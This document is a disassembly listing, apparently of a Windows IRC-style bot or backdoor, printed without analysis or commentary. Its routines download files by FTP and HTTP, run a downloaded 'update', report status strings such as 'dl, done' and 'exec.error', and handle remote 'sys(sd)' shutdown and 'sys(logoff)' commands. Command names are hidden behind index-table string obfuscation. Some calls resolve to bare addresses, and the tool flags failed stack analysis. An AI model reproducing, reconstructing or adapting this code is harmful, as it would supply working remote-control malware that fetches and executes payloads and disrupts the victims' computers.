		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_24		= byte ptr  28h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_110		= byte ptr  114h
arg_120		= byte ptr  124h
arg_130		= byte ptr  134h
arg_1110	= dword	ptr  1114h
arg_1114	= byte ptr  1118h
arg_1130	= dword	ptr  1134h
arg_1138	= dword	ptr  113Ch
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	near ptr 2820000h
		nop
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		dd 69B9B8E8h, 0BEE99071h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+30h+arg_24]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+24h+arg_24]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+2Ch+arg_24]
		call	sub_4017EE
		push	eax
		push	ebx
		call	near ptr 71AB428Ah
		nop
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_24], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+arg_1138], 3
		call	sub_401226
		lea	ecx, [esp+34h+arg_14]
		mov	byte ptr [esp+34h+arg_1138], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	[esp+34h+arg_1138], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+34h+var_20]
		push	0
		lea	edx, [esp+38h+arg_130]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+44h+arg_120], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+48h+arg_120]
		push	offset asc_444ED0 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+44h+arg_120]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+44h+var_30]
		push	0
		lea	eax, [esp+48h+arg_120]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+54h+arg_110], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+54h+arg_110]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+arg_1114], 3
		call	sub_401226
		lea	ecx, [esp+58h+var_C]
		mov	[esp+58h+arg_1114], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+8Ch+var_3C]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+58h+arg_1114], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+58h+var_3C]
		mov	bl, al
		mov	[esp+58h+arg_1114], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		call	near ptr 77C39E7Eh
		nop


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+5Ch+var_44], esi
		lea	edx, [esp+5Ch+var_44]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+5Ch+var_28]
		mov	[esp+5Ch+arg_1110], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+34h+arg_1130]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FD4
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28C0795h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		call	near ptr 28C0795h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		call	near ptr 28C0795h
		nop


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
